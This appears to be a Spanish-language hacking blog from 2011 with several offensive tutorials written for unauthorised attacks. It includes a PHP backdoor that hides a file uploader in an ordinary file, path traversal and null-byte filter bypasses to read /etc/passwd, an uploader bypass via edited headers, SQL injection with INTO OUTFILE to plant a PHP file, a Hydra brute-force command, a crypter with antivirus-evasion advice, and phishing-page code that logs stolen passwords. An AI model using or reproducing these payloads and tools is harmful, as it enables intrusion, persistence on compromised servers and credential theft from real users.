Mostrando entradas con la etiqueta Tutoriales. Mostrar todas las entradas
Mostrando entradas con la etiqueta Tutoriales. Mostrar todas las entradas

lunes, 28 de noviembre de 2011

Sin Permisos? lol [ Atacando desde Dentro ]

Hola!! un saludo a todos, hace rato que no publico y quise hacerlo por primera vez en mucho tiempo, espero y les guste.



Cuando Tenemos algún Disclosure lo primero que hacemos es visualizar el archivo /etc/passwd




Y por lo tanto visualizaremos los demás archivos de la web que usualmente serian los archivos de configuracion

Haremos algo mas que solo visualizar esos archivos...

Supongamos que el Servidor Tiene sus paginas de este modo

www.web1.com  >>  Aquí esta el Disclosure
www.web2.com
www.web3.com >> Aquí Trataremos de entrar (www.web3.com no es vulnerable por si sola)
www.web4.com 
www.web5.com


/etc/passwd

web1:x:30073:30036::/home/web1:/bin/bash
web2:x:30075:30037::/home/web2:/bin/bash
web3:x:30076:30038::/home/web3:/bin/bash
web4:x:30098:30039::/home/web4:/bin/bash
web5:x:30099:30040::/home/web5:/bin/bash

Si el disclosure esta en /home/web1 tratemos de acceder a otra web del mismo servidor

Vuln=/home/web3/htdocs/index.php



Si el Archivo esta vacío como en mi caso, no te decepciones intenta con directorios default como:
"www","htdocs","public_html","web",etc...

Vuln=/home/web3/www/index.php





Listo!! Discourse desde una web interna.

Si no te funciona significa que los permisos están mejor administrados, pero no te desanimes ya que hay muchos servidores con esta vulnerabilidad.


Al parecer tiene instalado WordPrees.
 



Listo!!, creo que con esto ya queda mas claro ^^.


Desde Una Shell Update

Desde un archivo en el servidor ya es mas fácil hacer todo el trabajo que estamos haciendo desde un disclosure.

Normalmente siempre revisamos los dominios y permisos que tenemos desde la misma web y cuando comúnmente nos encontramos con esto damos por perdidos los permisos de los demás dominios.


Ahora aplicamos lo anterior modificando una variable GET


Listo!!, espero les haya gustado este peque tuto ^^


Sin Permisos?? lol

sábado, 16 de abril de 2011

Puertas Traseras (Backdoor's)

Esta Herramienta que acabo de hacer nos permite backdorizar un archivo común en php y añadirle código ofuscado
para cuando queramos utilizarlo solo le agregamos unos parámetros al archivo
Para ello simplemente se edita el archivo



Al contacto con el archivo se ve muy normal y común
pero si agregamos los parámetros correspondientes de nuestro backtorizado.
en este caso lo hice con un comprobante,
una vez autorizados me bota el upload correspondiente




Si pregunta para que es esto pero no creo xP, es por si nos borran la webshell ya que los administradores revisan cual fue el ultimo archivo creado, y como resulta sospechoso borran la webshell


Simple Backdoor Upload


<----- Inicio Php ------>


if (isset($_GET['config']))
{
    echo '

BakckDoor by b4nz0k

Seleccione el Archivo
'; if (isset($_FILES['archivo'])) { $ar=$_FILES['archivo']['name']; copy($_FILES['archivo']['tmp_name'],$_FILES['archivo']['name']); echo '

Archivo Subido en '.$ar.'

'; } } <----- End Php ------>

jueves, 14 de abril de 2011

Bypass Filtros extensiones (RFD, LFI)

Estaba con un amigo juackeando una web nada en particular, pero me di cuenta de algo...
Cuando el archivo elegía los archivos a incluir , era normal..., parecía bien filtrado el archivo.



Despues me puse a pensar como podria estar codeado el sourse, y llegue a la conclusión de que muchos programadores aceptan determinadas extensiones.

El Sourse no Filtrado Correctamente

#łł Visualizar Archivo łł#

@?php
$permitidas[0]='doc';
$permitidas[1]='DOC';
$permitidas[2]='pdf';
$permitidas[3]='PDF';
$permitidas[4]='docx';
$permitidas[5]='DOCX';
$permitidas[6]='rar';
$permitidas[7]='RAR';
$permitidas[8]='zip';
$permitidas[9]='ZIP';
$permitidas[10]='mpg';
$permitidas[11]='xls';
$permitidas[12]='XLS';
$permitidas[13]='pps';
$file=$_GET['archivo'];
$flag=0;
for($i=0;$i<count($permitidas);$i++)
if(substr($file, -3)==$permitidas[$i])
$flag=1; //print $file;
if($flag)
{
$nombre=explode("/",$file);
$nombrear=$nombre[count($nombre)-1];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-type: application/octet-stream\n");
header("Content-Disposition: attachment; filename=\"".$nombrear."\"\n");
header("Content-length: " . filesize($file) . "\n");
$fp=fopen("$file", "r");
fpassthru($fp);
}
?@

Con el Código llegamos a la conclusión de que el programador prepara un array para guardar todas las extensiones y usa un blucle "For" y un condicional "IF" para comprobar si el archivo seleccionado es igual al array que serian las extensiones permitidas.

Aqui el Bypass



Bien ,llegando a la conclusión de que incluimos el archivo /etc/passwd no tiene la extensión del array , así que le agregamos un "carácter nulo" en "hexadecimal" con la "extensión permitida" para consultar que seleccione el archivo e indicando que la extensión sea una de las permitidas.



Explotación



Espero que les halla servido este peque bypass ^<^.

martes, 5 de abril de 2011

Bypass Filtros str_replace (LFI, RFD)

Explorando por la net me encontré un código de descarga filtrado para que el usuario no baje información sensible, pero no esta tan bien filtrado.

La Primera descarga pense que el archivo estaba filtrado correctamente.




@?

$file = $_GET['f'];
$file = str_replace( "../", "", $file); #- Aquí nuestro filtro que remplaza
$path="./down"; # cuando queremos subir un directorio
$url = $path."/".$file;
header ("Content-Disposition: attachment; filename=".$file." ");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($url));
?@
-------------------------------------------


El codigo nos prohíbe subir directorios con "../" ,
pero que pasa si lo cambiamos por
"....//" ?



Espero que este peque bypass les sirva de algo ^^.

domingo, 3 de abril de 2011

Bypass Uploader

Un Upload no es una vulnerabilidad, pero lo considero un gran error del Administrador.

Porque?
un usuario con acceso a un upload mal filtrado puede
fácilmente subir un archivo malicioso al servidor perjudicando ala web,
o en casos graves a todo el Servidor.

Empezamos codeando nuestro Uploader


upload.php


@form action="subearchivo.php" method="post" enctype="multipart/form-data"@

Campo de tipo texto:@br@

@input@@ type="text" name="cadenatexto" size="20" maxlength="100"@@br@
@input@@ type="hidden" name="MAX_FILE_SIZE" value="100000"@@br@

Subir Archivo:@br@

@input@> name="userfile" type="file"@@br@
@input@>type="submit" value="Enviar"@@br@
<@/form@>

----------------------------------------------------------
subearchivo.php

@? //tomo el valor de un elemento de tipo texto del formulario
$cadenatexto = $_POST["cadenatexto"];
echo "Escribió en el campo de texto: " . $cadenatexto . "<@br@><@br@>";
//datos del arhivo $nombre_archivo = $HTTP_POST_FILES['userfile']['name'];
$tipo_archivo = $HTTP_POST_FILES['userfile']['type'];
$tamano_archivo = $HTTP_POST_FILES['userfile']['size'];
//compruebo si las características del archivo son las correctas
if (!((strpos($tipo_archivo, "gif") || strpos($tipo_archivo, "jpeg")) && ($tamano_archivo < 100000)))
{
//Imprime en Pantalla
echo "La extensión o el tamaño de los archivos no es correcta. <@br@><@br@>Se permiten archivos .gif o .jpg
se permiten archivos de 100 Kb máximo.";

}else{
//Si se sube el archivo con éxito
if (move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], $nombre_archivo))

{
//Imprime en Pantalla
echo "El archivo ha sido cargado correctamente.";
}

//al contrario
else
{
//Imprime en Pantalla
echo "Ocurrió algún error al subir el fichero. No pudo guardarse.";
} }
?@
Recuerden quitar los "@" .


Analizando el uploader nos damos cuenta que el archivo filtra el tipo de archivo permitido que seria "gif" y "jpeg".


Como lograr subir algun archivo de otra extensión si esta filtrando las extinciones permitidas?




Transacciones HTTP


Una transacción HTTP está formada por un encabezado seguido, opcionalmente, por una línea en blanco y algún dato. El encabezado especificará cosas como la acción requerida del servidor, o el tipo de dato retornado, o el código de estado.


Para poder bypassear el uploader tenemos que controlar las cabeceras para cambiar la información al final.


Para eso Usare un Add-ons de Mozilla (Live HTTP Headers) para modificar las cabeceras al subir un archivo al servidor. Cuando lo Tengamos se auto-capturaran las cabeceras de las peticiones HTTP, una vez terminada la captura podemos Repetir las peticiones para modificarlas.

Herramientas > Live HTTP Headers




Una vez dentro de la edición de las cabeceras, podremos modificarlas.



Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.jpg"
°
Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.php"


Aquí nos muestra la información del formulario que es el nombre del input del upload y el nombre del archivo , modificamos filename para renombrar el archivo.



Una vez subido el archivo hay que averiguar donde esta alojado el archivo y acceder a el





miércoles, 9 de marzo de 2011

Remote File Downloader



Esta Vulnerabilidad no es muy usada, pero hay muchas webs que la disponen para ser explotada.

Lo que hace esta vulnerabilidad, es poder descargarnos archivos remotamente del servidor o de la web que el usuario tenga permitido el acceso.

Path Vulnerable:

http://site.com/path/download.php?search=archivo

Comprobamos si el sitio puede ser descargado desde directorios anteriores y no tenga filtrado "../../"

http://site.com/path/download.php?search=../../../../../../../../../../etc/passwd




Si el archivo descargado se ve exactamente como se veía /etc/passwd, significa que tenemos un path vulnerable, si nos descarga un mensaje de error o no nos descarga, lamentable el path no es vulnerable.

Con una web Vulnerable a RFD podemos descargar archivos con información delicada como los usuarios de BD o del FTP que normalmente esta en /config.php, pero normalmente siempre es otra dirección cambiada por el WebMaster.



martes, 1 de marzo de 2011

SQL Injection (OutFile)

SQL inject Outfile:

Sabemos que en una SQL inject nos tiene que botar un error

Error Sintaxis SQL in : /home/xxx/htdocs/vuln.php in line x


Y con un target parecido a este

http://target.com/path/vuln.php?id=x'


Buscamos tablas hasta que nos quite el error o nos saque el numero de la tabla

-x union all select 1--
-x union all select 1,2--
-x union all select 1,2,3--
-x union all select 1,2,3,4--
-x union all select 1,2,3,4,5--
<- Aqui nos devolvio el numero de la tabla


Imaginamos que la tabla esta en la 5 y nos salto el numero 2..

Usamos user() en el "2" para saber el actual usuario y el host.

-x union all select 1,user(),3,4,5--

Nos bota root@localhost

-x union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
nos bota rootlocalhost

El usuarios tiene permisos File, podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...


devemos de tener en cuanta de que para poder hacer uotup tenemos que saber que la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y acegurarnos que el directorio tenga permiso de escritura.

Tenemos que saber donde esta el directorio para poder indicar donde guardaremos nuestro archivo.


into outfile '/home/xxx/htdocs/aerchivocreado.php'--

y en el el numero 2 agregamos

'<@? phpinfo(); ?@>' // sin @

En resultado

Salida:

-x union all select1,'',3,4,5 outfile '/home/xxx/xxx/aerchivocreado.php'--


Seria Igual a:



-x+union+all+select1,'',3,4,5+outfile+'/home/xxx/xxx/aerchivocreado.php'--


Les dejo a su imaginación el codgo del archivo php


Gretz: Yoyahack

domingo, 23 de enero de 2011

Brute Force (Fuerza Bruta)

Brute Force en Criptografia ataque de fuerza bruta se denomina cuando se recupera una clave Provando Todas las combinaciones Posibles.

Este Metodo Se Utiliza Para Determinar si la Contraseña del administrador es Vulnerable.
Hydra es una de las Herramientas de Pentest para BruteForce
Protocolos que soporta la Tool:

   TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,
AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA (incorporated in telnet module



Config Importantes :

Single Target : Host para el BruteForce.
Target List : Una lista de los host para BruteForce en texto plano.
Port : Puerto del Protocolo
Protocol :
Protocolo del Test



Username : Nombre de Usuario
Username List : Lista de Nombres de Usuario
Password : Contraseña
Password List : Lista de Contraseñas

Use Colon seperated file : Usar un solo Diccionario para los Usuarios y Contraseñas
Try Login as Password : Tratar con los Diccionarios de Usuario y Contraseña
Try empy Password : Tratar con el Diccionario del Usuario y Contraseña Vacia





Una vez el Scanner comenzado , buscara de las opciones, el protocolo y diccionarios hasta encontrar los que encajen en la identificación del login con su contraseña correspondiente.


Modo Consola:

Para Usar Hydra en modo consola seria de la siguiente manera

$ hydra 127.0.0.1 ftp -s 21 -L diccionario.txt -P diccionario.txt

-s : Especifica el puerto.
-L : Usa el diccionario del Nombre de Usuario
-P : Usa el diccionario de la Contraseña



domingo, 9 de enero de 2011

Creación de Crypter Runtime

Para que no hagan Copy Y Paste Aprendan algo de Visual Basic porque de lo contrario no valdra la pena

Creacion del Crypter

Video: Creacion del Crypter
Peso: 40 MB
Descomprimido: : 55 MB
Duracion: 34:22
Formato: AVI



Agregando Funciones

Video: Agregando Funciones
Peso: 35 MB
Descomprimido: : 44 MB
Duracion: 27:09
Formato: AVI

Los modulos y el proyecto estan en la descarga de Agregando Funciones, les puse varios mas XD

Agrego: El Crypter Es Detectable por la mayoria de los Avs ,asi que tienen que escribir el stub de forma diferente y hacerle algunas Modificaciones al mismo
para que no sea tan detectado , si tienen algo de conocimiento de Visual Basic no se les dificultara mucho

Espero y hagan algunos aportes con esto , ya que me costo algo de tiempo

Crear un Scam/Fack

Scam/Fack




Primero que nada Que es un Scam?
es scam tambien llamado facke o xploit, no hay que confundir xploit con exploit son muy diferentes pero en muchas ocasiones los llaman exploits cuando en realidad es scam.
Se pueden hacer Scam de cualquier pagina, como Windows Live, Facebook, Taringa XD, aqui un resumen
Wikipedia
Scam ("estafa" en inglés) es un término anglosajón que se emplea para designar el intento de estafa a través de a un correo electrónico fraudulento (o páginas web fraudulentas).

Generalmente, se pretende estafar económicamente por medio del engaño presentado como donación a recibir, lotería o premio al que se accede previo envío de dinero.

Las cadenas de mail engañosas pueden ser scams si hay pérdida monetaria y hoax cuando sólo hay engaño.

Scam no solo se refiere a estafas por correo electrónico, también se le llama Scam a sitios web que tienen como intención ofrecer un producto o servicio que en realidad es falso, por tanto una estafa.

Evitar el Abuso de Fack de paginas

aki un video de como hacerl un Scam






El Code del system.php es este no es gran cosa pero funciona, si tengo tiempo les digo como hacerlo con una base de datos


$id=$_POST['login'];
$pass=$_POST['passwd'];
$master=fopen('usuarios.txt', a);
fwrite($master,"
################################################
Logins de Scam by b4nz0k

Users: ".$login."
Pass: ".$passwd."
################################################");
fclose($master);